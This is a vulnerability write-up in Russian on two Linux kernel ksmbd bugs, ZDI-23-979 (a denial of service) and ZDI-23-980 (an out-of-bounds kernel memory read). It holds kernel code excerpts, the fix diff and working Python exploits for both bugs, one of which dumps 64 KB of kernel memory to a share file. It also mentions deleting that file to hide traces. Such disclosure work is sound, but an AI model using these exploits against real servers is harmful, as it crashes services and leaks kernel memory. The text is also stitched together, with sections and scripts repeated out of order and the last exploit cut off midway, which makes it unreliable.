22 декабря 2022 года: сегодня Рождественский четверг, один из последних рабочих дней перед началом рождественских каникул. Пока все с нетерпением ждали подарков от друзей и семьи, Zero Day Initiative решила также сделать подарок ИТ-сообществу: огромный стресс в виде ZDI-22-1690неаутентифицированной RCE-уязвимости в подсистеме ksmbd ядра Linux.
Эта уязвимость указала мне путь к глючной подсистеме ядра Linux: ksmbd. Ksmbd означает Kernel SMB Daemon, который действует как SMB-сервер (который вы можете узнать по Windows) в ядре. SMB известен в сообществе своей ненужной сложностью и связанными с ней уязвимостями. Представьте себе реакцию сообщества разработчиков Linux, когда в ядро был добавлен ksmbd.
Мне хотелось узнать больше о SMB и подсистеме ksmbd, поэтому я решил провести исследование уязвимостей в этой подсистеме и получить результаты. В этой статье я представлю эксплойты и технический анализ, стоящие за ZDI-23-979: ZDI-23-980сетевым отказом в обслуживании без аутентификации и сетевым (не)аутентифицированным внешним чтением 64 КБ.
Чтобы предотвратить чрезмерное использование ресурсов (таких как дисковое пространство и оперативная память), у SMB есть система кредитов, в которой каждая команда вычитает кредиты из сеанса. Если кредиты достигают 0, сеанс не может выдавать больше команд.
NB. Пакет, запрос и команда — это разные вещи. То же самое касается сеанса и соединения.
Обзор определений связанного пакета запроса SMB.
Обзор определений сеанса и подключения SMB.
Гипотетически это может привести к обходу аутентификации, поскольку он пропускает проверки сеанса/аутентификации, но вместо этого приводит к разыменованию NULL-указателя, поскольку он пытается получить доступ к свойствам сеанса запроса.
Давайте углубимся в функцию __handle_ksmbd_workпоследней v6.3.9уязвимой версии ядра. Эта функция вызывается для каждого пакета соединения. Как видите, функция вызывает __process_requestкаждый запрос в пакете, но проверяет сеанс только на наличие первого запроса в пакете, используя conn->ops->check_user_session(work)(пояснение ниже).
static void __handle_ksmbd_work(struct ksmbd_work *work,
struct ksmbd_conn *conn)
{
u16 command = 0;
int rc;
// [snip] (initialize buffers)
if (conn->ops->check_user_session) {
rc = conn->ops->check_user_session(work);
// if rc != 0 goto send (auth failed)
if (rc < 0) {
command = conn->ops->get_cmd_val(work);
conn->ops->set_rsp_status(work,
STATUS_USER_SESSION_DELETED);
goto send;
} else if (rc > 0) {
rc = conn->ops->get_ksmbd_tcon(work);
if (rc < 0) {
conn->ops->set_rsp_status(work,
STATUS_NETWORK_NAME_DELETED);
goto send;
}
}
}
do {
rc = __process_request(work, conn, &command);
if (rc == SERVER_HANDLER_ABORT)
break;
// [snip] (set SMB credits)
} while (is_chained_smb2_message(work));
if (work->send_no_response)
return;
send:
// [snip] (send response)
}
Копировать
__handle_ksmbd_work- обработка сеансов и обработка запросов на пакет.
Функция проверяет, требует ли ожидающий запрос сеанса, и если да, то проверяет наличие существующих сеансов, которые генерируются случайным образом во время входа в систему SMB. Если проверка сеанса прошла успешно, то или если запрос не требует сеанса, то .conn->ops->check_user_session(work)req_hdr->SessionIdreq_hdr->SessionIdwork->sess = ksmbd_session_lookup_all(conn, sess_id)work->sess = NULL
int smb2_check_user_session(struct ksmbd_work *work)
{
struct smb2_hdr *req_hdr = smb2_get_msg(work->request_buf);
struct ksmbd_conn *conn = work->conn;
unsigned int cmd = conn->ops->get_cmd_val(work);
unsigned long long sess_id;
/*
* SMB2_ECHO, SMB2_NEGOTIATE, SMB2_SESSION_SETUP command do not
* require a session id, so no need to validate user session's for
* these commands.
*/
if (cmd == SMB2_ECHO_HE || cmd == SMB2_NEGOTIATE_HE ||
cmd == SMB2_SESSION_SETUP_HE)
return 0;
// [snip] (check conn quality)
sess_id = le64_to_cpu(req_hdr->SessionId);
// [snip] (chained request logic that was unused)
/* Check for validity of user session */
work->sess = ksmbd_session_lookup_all(conn, sess_id);
if (work->sess)
return 1;
// [snip] (invalid session handling)
}
Копировать
smb2_check_user_session- кодовый блок проверок валидации SMB.
Очевидно, что когда первая команда — ie, SMB2_ECHO_HEа вторая команда — ie SMB2_WRITE, work->sessпеременная будет NULLв smb2_write(). Это приведет к разыменованию work->sess->xи, следовательно, к разыменованию NULL-указателя. Поскольку разыменование нулевого указателя вызывает панику в потоке ядра, сервер SMB будет отключен от сети, в то время как остальная часть ядра останется в сети. Эксплойт для проверки концепции этой уязвимости заключается в следующем:
#!/usr/bin/env python3
from impacket import smb3, nmb
from pwn import p64, p32, p16, p8
def main():
print("[*] connecting to SMB server (no login)...")
try:
conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445, timeout=3)
except nmb.NetBIOSTimeout:
print("[!] SMB server is already offline (connection timeout)")
return
# generate innocent SMB_ECHO request
request_echo = smb3.SMB3Packet()
request_echo['Command'] = smb3.SMB2_ECHO
request_echo["Data"] = p16(4) + p16(0)
request_echo["NextCommand"] = 64+4 # set NextCommand to indicate request chaining
# generate innocent SMB_WRITE request
request_write = smb3.SMB3Packet()
request_write['Command'] = smb3.SMB2_WRITE
request_write["Data"] = p16(49) + p16(0) + p32(0) + p64(0) + p64(0) + p64(0) + p32(0) + p32(0) + p16(0) + p16(0) + p32(0) + p8(0)
request_write["TreeID"] = 0
# chain SMB_WRITE to SMB_ECHO
request_echo["Data"] += request_write.getData()
print('[*] sending DoS packet...')
conn.sendSMB(request_echo)
print("[*] probing server health...")
try:
smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445, timeout=3)
print("[!] exploit failed - server remains online")
except nmb.NetBIOSTimeout:
print("[+] exploit succeeded - server is now offline")
if __name__ == "__main__":
main()
Копировать
Эксплойт для проверки концепции (PoC) для ZDI-23-979, написанный на коде Python.
Самая важная часть патча — перемещение проверки сеанса в цикл связанных запросов, в результате чего проверка сеанса выполняется для каждого связанного запроса в пакете, а не только для первого.
+++ b/fs/ksmbd/server.c
@@ -184,24 +184,31 @@ static void __handle_ksmbd_work(struct k
goto send;
}
- if (conn->ops->check_user_session) {
- rc = conn->ops->check_user_session(work);
- if (rc < 0) {
- command = conn->ops->get_cmd_val(work);
- conn->ops->set_rsp_status(work,
- STATUS_USER_SESSION_DELETED);
- goto send;
- } else if (rc > 0) {
- rc = conn->ops->get_ksmbd_tcon(work);
+ do {
+ if (conn->ops->check_user_session) {
+ rc = conn->ops->check_user_session(work);
if (rc < 0) {
- conn->ops->set_rsp_status(work,
- STATUS_NETWORK_NAME_DELETED);
+ if (rc == -EINVAL)
+ conn->ops->set_rsp_status(work,
+ STATUS_INVALID_PARAMETER);
+ else
+ conn->ops->set_rsp_status(work,
+ STATUS_USER_SESSION_DELETED);
goto send;
+ } else if (rc > 0) {
+ rc = conn->ops->get_ksmbd_tcon(work);
+ if (rc < 0) {
+ if (rc == -EINVAL)
+ conn->ops->set_rsp_status(work,
+ STATUS_INVALID_PARAMETER);
+ else
+ conn->ops->set_rsp_status(work,
+ STATUS_NETWORK_NAME_DELETED);
+ goto send;
+ }
}
}
- }
- do {
rc = __process_request(work, conn, &command);
if (rc == SERVER_HANDLER_ABORT)
break;
--- a/fs/ksmbd/smb2pdu.c
Копировать
Официальный патч для ZDI-23-979.
Это можно использовать, отправив запрос SMB_WRITE размером N к файлу «dump.bin», при этом фактический пустой запрос меньше N. Затем выполните запрос SMB_READ, чтобы загрузить файл «dump.bin» и в конечном итоге удалить «dump». .bin», чтобы удалить следы эксплуатации.
Когда я исследовал эту уязвимость, я также обнаружил неаутентифицированное чтение OOB размером 2 байта с использованием SMB_ECHO, но я решил, что это менее важно, чем аутентифицированное чтение OOB размером 65536 байт из-за удобства использования (независимо от того, было ли это правильным решением, зависит от дискуссия ;-) ). Следовательно, в описании CVE говорится, что он аутентифицирован. Я также расскажу о SMB_ECHO и объясню, как его использовать. Чтение 2-байтового OOB состоит из подачи команды SMB_ECHO, при этом последние 2 байта пакета не заполняются.
hdr->StructureSize == 64
pdu->StructureSize2 == smb2_req_struct_sizes[command] // SMB2_WRITE: 49, SMB2_ECHO: 4
hdr->NextCommand == pdu->StructureSize2 + hdr->StructureSize // SMB_ECHO
hdr->NextCommand == hdr->DataOffset + hdr->Length // SMB_WRITE
Копировать
Утверждения помещаются в пакет для проверки.
Но там не утверждается work->next_smb2_rcv_hdr_off + hdr->NextCommand <= get_rfc1002_len(work->request_buf), что это официальный патч.
static int smb2_get_data_area_len(unsigned int *off, unsigned int *len,
struct smb2_hdr *hdr)
{
int ret = 0;
*off = 0;
*len = 0;
switch (hdr->Command) {
// [snip] not reached
case SMB2_WRITE:
if (((struct smb2_write_req *)hdr)->DataOffset ||
((struct smb2_write_req *)hdr)->Length) {
*off = max_t(unsigned int,
le16_to_cpu(((struct smb2_write_req *)hdr)->DataOffset),
offsetof(struct smb2_write_req, Buffer));
*len = le32_to_cpu(((struct smb2_write_req *)hdr)->Length);
break;
}
*off = le16_to_cpu(((struct smb2_write_req *)hdr)->WriteChannelInfoOffset);
*len = le16_to_cpu(((struct smb2_write_req *)hdr)->WriteChannelInfoLength);
break;
// [snip] not reached
default:
// [snip] not reached
}
// [snip] return error if offset > 4096
return ret;
}
static int smb2_calc_size(void *buf, unsigned int *len)
{
struct smb2_pdu *pdu = (struct smb2_pdu *)buf;
struct smb2_hdr *hdr = &pdu->hdr;
unsigned int offset; /* the offset from the beginning of SMB to data area */
unsigned int data_length; /* the length of the variable length data area */
int ret;
*len = le16_to_cpu(hdr->StructureSize);
*len += le16_to_cpu(pdu->StructureSize2);
if (has_smb2_data_area[le16_to_cpu(hdr->Command)] == false) {
// SMB_ECHO will reach this
goto calc_size_exit;
}
// SMB_WRITE will reach this
ret = smb2_get_data_area_len(&offset, &data_length, hdr);
// [snip] return error if ret < 0
if (data_length > 0) {
// [snip] return error when data overlaps with next cmd
*len = offset + data_length;
}
calc_size_exit:
ksmbd_debug(SMB, "SMB2 len %u\n", *len);
return 0;
}
int ksmbd_smb2_check_message(struct ksmbd_work *work)
{
struct smb2_pdu *pdu = ksmbd_req_buf_next(work);
struct smb2_hdr *hdr = &pdu->hdr;
int command;
__u32 clc_len; /* calculated length */
__u32 len = get_rfc1002_len(work->request_buf);
if (le32_to_cpu(hdr->NextCommand) > 0)
len = le32_to_cpu(hdr->NextCommand);
else if (work->next_smb2_rcv_hdr_off)
len -= work->next_smb2_rcv_hdr_off;
// [snip] check flag in header
if (hdr->StructureSize != SMB2_HEADER_STRUCTURE_SIZE) {
// [snip] return error
}
command = le16_to_cpu(hdr->Command);
// [snip] check if command is valid
if (smb2_req_struct_sizes[command] != pdu->StructureSize2) {
// [snip] return error (with exceptions)
}
if (smb2_calc_size(hdr, &clc_len)) {
// [snip] return error (with exceptions)
}
if (len != clc_len) {
// [snip] return error (with exceptions)
}
validate_credit:
// [snip] irrelevant credit check
return 0;
}
Копировать
Функции, вызывающие уязвимость.
Как видите, для SMB_WRITE мы можем установить произвольный размер пакета, установив переменные hdr->Lengthи hdr->NextCommandдополняя друг друга. Что касается SMB_ECHO, нам просто нужно установить hdr->NextCommandожидаемое значение без фактического заполнения smb2_echo_req->reserved:
struct smb2_echo_req {
struct smb2_hdr hdr;
__le16 StructureSize; /* Must be 4 */
__u16 Reserved;
} __packed;
Копировать
Структура smb2_echo_req.
from impacket import smb3
from pwn import p64, p32, p16, p8
def main():
print("[*] connecting to SMB server...")
conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445)
packet = smb3.SMB3Packet()
packet['Command'] = smb3.SMB2_ECHO
packet["Data"] = p16(0x4)
packet["NextCommand"] = 64+4
print("[*] sending OOB read...")
conn.sendSMB(packet)
print("[*] reading response...")
rsp = conn.recvSMB().rawData
print(rsp)
if __name__ == "__main__":
main()
Копировать
ZDI-23-980PoC-эксплойт с использованиемSMB_ECHO
Что касается SMB_WRITEпути, вот структура и шаги:
struct smb2_write_req {
struct smb2_hdr hdr;
__le16 StructureSize; /* Must be 49 */
__le16 DataOffset; /* offset from start of SMB2 header to write data */
__le32 Length;
__le64 Offset;
__u64 PersistentFileId; /* opaque endianness */
__u64 VolatileFileId; /* opaque endianness */
__le32 Channel; /* MBZ unless SMB3.02 or later */
__le32 RemainingBytes;
__le16 WriteChannelInfoOffset;
__le16 WriteChannelInfoLength;
__le32 Flags;
__u8 Buffer[];
} __packed;
Копировать
Структура smb2_write_req.
from impacket import smb3
from pwn import p64, p32, p16, p8
def main(username: str, password: str, share: str, filename: str):
print("[*] connecting to SMB server...")
conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445)
print(f"[*] logging into SMB server in (username: '{username}', password: '{password}')...")
conn.login(user=username, password=password)
print(f"[*] connecting to tree/share: '{share}'")
tree_id = conn.connectTree(share)
packet = smb3.SMB3Packet()
packet['Command'] = smb3.SMB2_WRITE
StructureSize = 49
DataOffset = 64 + StructureSize # fixed packet size excl buffer
Length = 0x10000 # max credits: 8096, so max buffer: 8096*8 (0x10000), but max IO size: 4*1024*1024 (0x400000)
# this is ugly but acquires a RW handle for the '{filename}' file containing the memory
file_id = conn.create(tree_id, filename, desiredAccess=smb3.FILE_READ_DATA|smb3.FILE_SHARE_WRITE, creationDisposition=smb3.FILE_OPEN|smb3.FILE_CREATE,
creationOptions=smb3.FILE_NON_DIRECTORY_FILE, fileAttributes=smb3.FILE_ATTRIBUTE_NORMAL, shareMode=smb3.FILE_SHARE_READ|smb3.FILE_SHARE_WRITE)
packet["Data"] = (p16(StructureSize) + p16(DataOffset) + p32(Length) + p64(0) + file_id[:8] + p64(0) + p32(0) + p32(0) + p16(0) + p16(0) + p32(0) + p8(0))
packet["TreeID"] = tree_id
packet["NextCommand"] = DataOffset+Length # the end of the buffer is past the end of the packet
print(f"[*] sending OOB read for 65536 bytes... (writing to file '{filename}')")
conn.sendSMB(packet)
print("[*] closing file descriptors...")
conn.close(tree_id, file_id) # close fd's bcs impacket is impacket
print(f"[*] reading file containing kernel memory: '{filename}'")
conn.retrieveFile(share, filename, print) # print file (containing kmem dump)
if __name__ == "__main__":
main("user", "pass", "files", "dump.bin")
Копировать
ZDI-23-980PoC-эксплойт с использованиемSMB_WRITE
Эта уязвимость указала мне путь к глючной подсистеме ядра Linux: ksmbd. Ksmbd означает Kernel SMB Daemon, который действует как SMB-сервер (который вы можете узнать по Windows) в ядре. SMB известен в сообществе своей ненужной сложностью и связанными с ней уязвимостями. Представьте себе реакцию сообщества разработчиков Linux, когда в ядро был добавлен ksmbd.
Мне хотелось узнать больше о SMB и подсистеме ksmbd, поэтому я решил провести исследование уязвимостей в этой подсистеме и получить результаты. В этой статье я представлю эксплойты и технический анализ, стоящие за ZDI-23-979: ZDI-23-980сетевым отказом в обслуживании без аутентификации и сетевым (не)аутентифицированным внешним чтением 64 КБ.
Обзор малого и среднего бизнеса
Блок сообщений сервера — это протокол передачи файлов, широко используемый ОС Windows, где его можно использовать для доступа к NAS или другому компьютеру по сети. Наиболее важными функциями SMB являются чтение и запись файлов, доступ к информации каталога и аутентификация. Поскольку ОС Windows пытается интегрировать SMB, у SMB также есть множество способов аутентификации для экосистемы Windows: NTLMSSP, Kerberos 5, Microsoft Kerberos 5 и Kerberos 5 между пользователями (U2U). Конечно, ядро также поддерживает обычную аутентификацию, такую как обычные пароли.Чтобы предотвратить чрезмерное использование ресурсов (таких как дисковое пространство и оперативная память), у SMB есть система кредитов, в которой каждая команда вычитает кредиты из сеанса. Если кредиты достигают 0, сеанс не может выдавать больше команд.
NB. Пакет, запрос и команда — это разные вещи. То же самое касается сеанса и соединения.
ZDI-23-979: Разыменование нулевого указателя, отказ в обслуживании
ZDI-23-979 — это сетевая уязвимость разыменования нулевого указателя без аутентификации, возникающая из-за логической ошибки при обработке сеанса связанных пакетов запросов SMB. Подсистема ksmbd обрабатывает сеанс только для первого запроса в пакете, что приводит к тому, что второй запрос в пакете также использует тот же экземпляр сеанса. Однако, когда первый запрос не использует сеанс, второй запрос, следовательно, также не использует сеанс, даже когда это необходимо.Гипотетически это может привести к обходу аутентификации, поскольку он пропускает проверки сеанса/аутентификации, но вместо этого приводит к разыменованию NULL-указателя, поскольку он пытается получить доступ к свойствам сеанса запроса.
Давайте углубимся в функцию __handle_ksmbd_workпоследней v6.3.9уязвимой версии ядра. Эта функция вызывается для каждого пакета соединения. Как видите, функция вызывает __process_requestкаждый запрос в пакете, но проверяет сеанс только на наличие первого запроса в пакете, используя conn->ops->check_user_session(work)(пояснение ниже).
static void __handle_ksmbd_work(struct ksmbd_work *work,
struct ksmbd_conn *conn)
{
u16 command = 0;
int rc;
// [snip] (initialize buffers)
if (conn->ops->check_user_session) {
rc = conn->ops->check_user_session(work);
// if rc != 0 goto send (auth failed)
if (rc < 0) {
command = conn->ops->get_cmd_val(work);
conn->ops->set_rsp_status(work,
STATUS_USER_SESSION_DELETED);
goto send;
} else if (rc > 0) {
rc = conn->ops->get_ksmbd_tcon(work);
if (rc < 0) {
conn->ops->set_rsp_status(work,
STATUS_NETWORK_NAME_DELETED);
goto send;
}
}
}
do {
rc = __process_request(work, conn, &command);
if (rc == SERVER_HANDLER_ABORT)
break;
// [snip] (set SMB credits)
} while (is_chained_smb2_message(work));
if (work->send_no_response)
return;
send:
// [snip] (send response)
}
Копировать
__handle_ksmbd_work- обработка сеансов и обработка запросов на пакет.
Функция проверяет, требует ли ожидающий запрос сеанса, и если да, то проверяет наличие существующих сеансов, которые генерируются случайным образом во время входа в систему SMB. Если проверка сеанса прошла успешно, то или если запрос не требует сеанса, то .conn->ops->check_user_session(work)req_hdr->SessionIdreq_hdr->SessionIdwork->sess = ksmbd_session_lookup_all(conn, sess_id)work->sess = NULL
int smb2_check_user_session(struct ksmbd_work *work)
{
struct smb2_hdr *req_hdr = smb2_get_msg(work->request_buf);
struct ksmbd_conn *conn = work->conn;
unsigned int cmd = conn->ops->get_cmd_val(work);
unsigned long long sess_id;
/*
* SMB2_ECHO, SMB2_NEGOTIATE, SMB2_SESSION_SETUP command do not
* require a session id, so no need to validate user session's for
* these commands.
*/
if (cmd == SMB2_ECHO_HE || cmd == SMB2_NEGOTIATE_HE ||
cmd == SMB2_SESSION_SETUP_HE)
return 0;
// [snip] (check conn quality)
sess_id = le64_to_cpu(req_hdr->SessionId);
// [snip] (chained request logic that was unused)
/* Check for validity of user session */
work->sess = ksmbd_session_lookup_all(conn, sess_id);
if (work->sess)
return 1;
// [snip] (invalid session handling)
}
Копировать
smb2_check_user_session- кодовый блок проверок валидации SMB.
Очевидно, что когда первая команда — ie, SMB2_ECHO_HEа вторая команда — ie SMB2_WRITE, work->sessпеременная будет NULLв smb2_write(). Это приведет к разыменованию work->sess->xи, следовательно, к разыменованию NULL-указателя. Поскольку разыменование нулевого указателя вызывает панику в потоке ядра, сервер SMB будет отключен от сети, в то время как остальная часть ядра останется в сети. Эксплойт для проверки концепции этой уязвимости заключается в следующем:
#!/usr/bin/env python3
from impacket import smb3, nmb
from pwn import p64, p32, p16, p8
def main():
print("[*] connecting to SMB server (no login)...")
try:
conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445, timeout=3)
except nmb.NetBIOSTimeout:
print("[!] SMB server is already offline (connection timeout)")
return
# generate innocent SMB_ECHO request
request_echo = smb3.SMB3Packet()
request_echo['Command'] = smb3.SMB2_ECHO
request_echo["Data"] = p16(4) + p16(0)
request_echo["NextCommand"] = 64+4 # set NextCommand to indicate request chaining
# generate innocent SMB_WRITE request
request_write = smb3.SMB3Packet()
request_write['Command'] = smb3.SMB2_WRITE
request_write["Data"] = p16(49) + p16(0) + p32(0) + p64(0) + p64(0) + p64(0) + p32(0) + p32(0) + p16(0) + p16(0) + p32(0) + p8(0)
request_write["TreeID"] = 0
# chain SMB_WRITE to SMB_ECHO
request_echo["Data"] += request_write.getData()
print('[*] sending DoS packet...')
conn.sendSMB(request_echo)
print("[*] probing server health...")
try:
smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445, timeout=3)
print("[!] exploit failed - server remains online")
except nmb.NetBIOSTimeout:
print("[+] exploit succeeded - server is now offline")
if __name__ == "__main__":
main()
Копировать
Эксплойт для проверки концепции (PoC) для ZDI-23-979, написанный на коде Python.
Самая важная часть патча — перемещение проверки сеанса в цикл связанных запросов, в результате чего проверка сеанса выполняется для каждого связанного запроса в пакете, а не только для первого.
+++ b/fs/ksmbd/server.c
@@ -184,24 +184,31 @@ static void __handle_ksmbd_work(struct k
goto send;
}
- if (conn->ops->check_user_session) {
- rc = conn->ops->check_user_session(work);
- if (rc < 0) {
- command = conn->ops->get_cmd_val(work);
- conn->ops->set_rsp_status(work,
- STATUS_USER_SESSION_DELETED);
- goto send;
- } else if (rc > 0) {
- rc = conn->ops->get_ksmbd_tcon(work);
+ do {
+ if (conn->ops->check_user_session) {
+ rc = conn->ops->check_user_session(work);
if (rc < 0) {
- conn->ops->set_rsp_status(work,
- STATUS_NETWORK_NAME_DELETED);
+ if (rc == -EINVAL)
+ conn->ops->set_rsp_status(work,
+ STATUS_INVALID_PARAMETER);
+ else
+ conn->ops->set_rsp_status(work,
+ STATUS_USER_SESSION_DELETED);
goto send;
+ } else if (rc > 0) {
+ rc = conn->ops->get_ksmbd_tcon(work);
+ if (rc < 0) {
+ if (rc == -EINVAL)
+ conn->ops->set_rsp_status(work,
+ STATUS_INVALID_PARAMETER);
+ else
+ conn->ops->set_rsp_status(work,
+ STATUS_NETWORK_NAME_DELETED);
+ goto send;
+ }
}
}
- }
- do {
rc = __process_request(work, conn, &command);
if (rc == SERVER_HANDLER_ABORT)
break;
--- a/fs/ksmbd/smb2pdu.c
Копировать
Официальный патч для ZDI-23-979.
ZDI-23-980: Раскрытие информации о чтении за пределами допустимого диапазона
ZDI-23-980 — это сетевое (не)аутентифицированное чтение за пределами границ в подсистеме ksmbd ядра Linux, которое позволяет пользователю читать до 65536 последовательных байтов из памяти ядра. Эта проблема возникает из-за чрезмерного чтения буфера, что очень похоже на уязвимость Heartbleed в SSL, когда в пакете запроса указывается, что содержимое пакета больше его фактического размера, что приводит к анализу пакета с поддельным размером.Это можно использовать, отправив запрос SMB_WRITE размером N к файлу «dump.bin», при этом фактический пустой запрос меньше N. Затем выполните запрос SMB_READ, чтобы загрузить файл «dump.bin» и в конечном итоге удалить «dump». .bin», чтобы удалить следы эксплуатации.
Когда я исследовал эту уязвимость, я также обнаружил неаутентифицированное чтение OOB размером 2 байта с использованием SMB_ECHO, но я решил, что это менее важно, чем аутентифицированное чтение OOB размером 65536 байт из-за удобства использования (независимо от того, было ли это правильным решением, зависит от дискуссия ;-) ). Следовательно, в описании CVE говорится, что он аутентифицирован. Я также расскажу о SMB_ECHO и объясню, как его использовать. Чтение 2-байтового OOB состоит из подачи команды SMB_ECHO, при этом последние 2 байта пакета не заполняются.
Основная проблема
Основная проблема, приводящая к чтению OOB, — неправильная проверка параметра пакета запроса SMB smb2_hdr.NextCommand, содержащего смещение до следующей команды. Если NextCommandэтот параметр установлен, сервер SMB предполагает, что текущая команда/запрос имеет размер NextCommand. Следовательно, когда у меня есть пакет размера N, я могу установить NextCommandзначение N+2, и он будет считать, что длина пакета составляет N+2 байта. Это можно увидеть в действии функций ksmbd_smb2_check_messageи smb2_calc_size. Функция ksmbd_smb2_check_messageвыполняет несколько утверждений/проверок:hdr->StructureSize == 64
pdu->StructureSize2 == smb2_req_struct_sizes[command] // SMB2_WRITE: 49, SMB2_ECHO: 4
hdr->NextCommand == pdu->StructureSize2 + hdr->StructureSize // SMB_ECHO
hdr->NextCommand == hdr->DataOffset + hdr->Length // SMB_WRITE
Копировать
Утверждения помещаются в пакет для проверки.
Но там не утверждается work->next_smb2_rcv_hdr_off + hdr->NextCommand <= get_rfc1002_len(work->request_buf), что это официальный патч.
static int smb2_get_data_area_len(unsigned int *off, unsigned int *len,
struct smb2_hdr *hdr)
{
int ret = 0;
*off = 0;
*len = 0;
switch (hdr->Command) {
// [snip] not reached
case SMB2_WRITE:
if (((struct smb2_write_req *)hdr)->DataOffset ||
((struct smb2_write_req *)hdr)->Length) {
*off = max_t(unsigned int,
le16_to_cpu(((struct smb2_write_req *)hdr)->DataOffset),
offsetof(struct smb2_write_req, Buffer));
*len = le32_to_cpu(((struct smb2_write_req *)hdr)->Length);
break;
}
*off = le16_to_cpu(((struct smb2_write_req *)hdr)->WriteChannelInfoOffset);
*len = le16_to_cpu(((struct smb2_write_req *)hdr)->WriteChannelInfoLength);
break;
// [snip] not reached
default:
// [snip] not reached
}
// [snip] return error if offset > 4096
return ret;
}
static int smb2_calc_size(void *buf, unsigned int *len)
{
struct smb2_pdu *pdu = (struct smb2_pdu *)buf;
struct smb2_hdr *hdr = &pdu->hdr;
unsigned int offset; /* the offset from the beginning of SMB to data area */
unsigned int data_length; /* the length of the variable length data area */
int ret;
*len = le16_to_cpu(hdr->StructureSize);
*len += le16_to_cpu(pdu->StructureSize2);
if (has_smb2_data_area[le16_to_cpu(hdr->Command)] == false) {
// SMB_ECHO will reach this
goto calc_size_exit;
}
// SMB_WRITE will reach this
ret = smb2_get_data_area_len(&offset, &data_length, hdr);
// [snip] return error if ret < 0
if (data_length > 0) {
// [snip] return error when data overlaps with next cmd
*len = offset + data_length;
}
calc_size_exit:
ksmbd_debug(SMB, "SMB2 len %u\n", *len);
return 0;
}
int ksmbd_smb2_check_message(struct ksmbd_work *work)
{
struct smb2_pdu *pdu = ksmbd_req_buf_next(work);
struct smb2_hdr *hdr = &pdu->hdr;
int command;
__u32 clc_len; /* calculated length */
__u32 len = get_rfc1002_len(work->request_buf);
if (le32_to_cpu(hdr->NextCommand) > 0)
len = le32_to_cpu(hdr->NextCommand);
else if (work->next_smb2_rcv_hdr_off)
len -= work->next_smb2_rcv_hdr_off;
// [snip] check flag in header
if (hdr->StructureSize != SMB2_HEADER_STRUCTURE_SIZE) {
// [snip] return error
}
command = le16_to_cpu(hdr->Command);
// [snip] check if command is valid
if (smb2_req_struct_sizes[command] != pdu->StructureSize2) {
// [snip] return error (with exceptions)
}
if (smb2_calc_size(hdr, &clc_len)) {
// [snip] return error (with exceptions)
}
if (len != clc_len) {
// [snip] return error (with exceptions)
}
validate_credit:
// [snip] irrelevant credit check
return 0;
}
Копировать
Функции, вызывающие уязвимость.
Как видите, для SMB_WRITE мы можем установить произвольный размер пакета, установив переменные hdr->Lengthи hdr->NextCommandдополняя друг друга. Что касается SMB_ECHO, нам просто нужно установить hdr->NextCommandожидаемое значение без фактического заполнения smb2_echo_req->reserved:
struct smb2_echo_req {
struct smb2_hdr hdr;
__le16 StructureSize; /* Must be 4 */
__u16 Reserved;
} __packed;
Копировать
Структура smb2_echo_req.
Эксплуатация
Чтобы утечь 2 байта, используя SMB_ECHO:- Наборsmb2_echo_req->StructureSize = p16(4)
- Наборsmb2_echo_req->hdr.NextCommand = sizeof(smb2_echo_req->hdr) + smb2_echo_req->StructureSize
- Послать запрос
- Чтение эхо-ответа, причем последние 2 байта являются внеочередным чтением.
from impacket import smb3
from pwn import p64, p32, p16, p8
def main():
print("[*] connecting to SMB server...")
conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445)
packet = smb3.SMB3Packet()
packet['Command'] = smb3.SMB2_ECHO
packet["Data"] = p16(0x4)
packet["NextCommand"] = 64+4
print("[*] sending OOB read...")
conn.sendSMB(packet)
print("[*] reading response...")
rsp = conn.recvSMB().rawData
print(rsp)
if __name__ == "__main__":
main()
Копировать
ZDI-23-980PoC-эксплойт с использованиемSMB_ECHO
Что касается SMB_WRITEпути, вот структура и шаги:
struct smb2_write_req {
struct smb2_hdr hdr;
__le16 StructureSize; /* Must be 49 */
__le16 DataOffset; /* offset from start of SMB2 header to write data */
__le32 Length;
__le64 Offset;
__u64 PersistentFileId; /* opaque endianness */
__u64 VolatileFileId; /* opaque endianness */
__le32 Channel; /* MBZ unless SMB3.02 or later */
__le32 RemainingBytes;
__le16 WriteChannelInfoOffset;
__le16 WriteChannelInfoLength;
__le32 Flags;
__u8 Buffer[];
} __packed;
Копировать
Структура smb2_write_req.
- Наборsmb2_write_req->StructureSize = 49
- Установите smb2_write_req->DataOffset = smb2_write_req->StructureSize + 64начало чтения содержимого без пакета.
- Настроен smb2_write_req->Length = 65536на запись 65536 байт из пакета в файл.
- Установите smb2_write_req->hdr.NextCommand = smb2_write_req->Length + smb2_write_req->DataOffsetподделку размера запроса
- Откройте файл на общем ресурсе SMB в режиме чтения/записи:file_id = smb_open("dump.bin", "rw")
- Наборsmb2_write_req->PersistentFileId = file_id
- Отправить запрос
- Прочтите файл в общей папке SMB:dump = smb_read(file_id)
from impacket import smb3
from pwn import p64, p32, p16, p8
def main(username: str, password: str, share: str, filename: str):
print("[*] connecting to SMB server...")
conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445)
print(f"[*] logging into SMB server in (username: '{username}', password: '{password}')...")
conn.login(user=username, password=password)
print(f"[*] connecting to tree/share: '{share}'")
tree_id = conn.connectTree(share)
packet = smb3.SMB3Packet()
packet['Command'] = smb3.SMB2_WRITE
StructureSize = 49
DataOffset = 64 + StructureSize # fixed packet size excl buffer
Length = 0x10000 # max credits: 8096, so max buffer: 8096*8 (0x10000), but max IO size: 4*1024*1024 (0x400000)
# this is ugly but acquires a RW handle for the '{filename}' file containing the memory
file_id = conn.create(tree_id, filename, desiredAccess=smb3.FILE_READ_DATA|smb3.FILE_SHARE_WRITE, creationDisposition=smb3.FILE_OPEN|smb3.FILE_CREATE,
creationOptions=smb3.FILE_NON_DIRECTORY_FILE, fileAttributes=smb3.FILE_ATTRIBUTE_NORMAL, shareMode=smb3.FILE_SHARE_READ|smb3.FILE_SHARE_WRITE)
packet["Data"] = (p16(StructureSize) + p16(DataOffset) + p32(Length) + p64(0) + file_id[:8] + p64(0) + p32(0) + p32(0) + p16(0) + p16(0) + p32(0) + p8(0))
packet["TreeID"] = tree_id
packet["NextCommand"] = DataOffset+Length # the end of the buffer is past the end of the packet
print(f"[*] sending OOB read for 65536 bytes... (writing to file '{filename}')")
conn.sendSMB(packet)
print("[*] closing file descriptors...")
